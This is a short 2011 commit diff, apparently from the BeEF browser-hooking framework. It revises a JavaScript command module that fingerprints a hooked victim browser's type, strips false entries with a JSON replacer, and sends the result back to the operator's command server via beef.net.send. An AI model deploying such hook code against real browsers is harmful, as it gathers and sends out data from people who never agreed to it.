- Removed all false browser types from being displayed. [Issue #: 305]

git-svn-id: https://beef.googlecode.com/svn/trunk@969 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
a.m.saafan@gmail.com
2011-05-12 09:24:27 +00:00
parent 27c32f9d28
commit b6b68fa582

View File

@@ -49,8 +49,19 @@ function serialize(_obj)
break;
}
}
var browser_type = serialize(beef.browser.type());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'browser_type='+browser_type);
var data = beef.browser.type();
// A function that will get trigered during the conversion to JSON that will remove
// elements with "false" value.
function replacer(key, value) {
if (value == true)
return value;
else if (typeof value == 'object') // Allow the array itself to be iterated.
return value;
else // (value == false)
return; // Do not return anything, to exclude the element from being added.
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, JSON.stringify(data,replacer));
});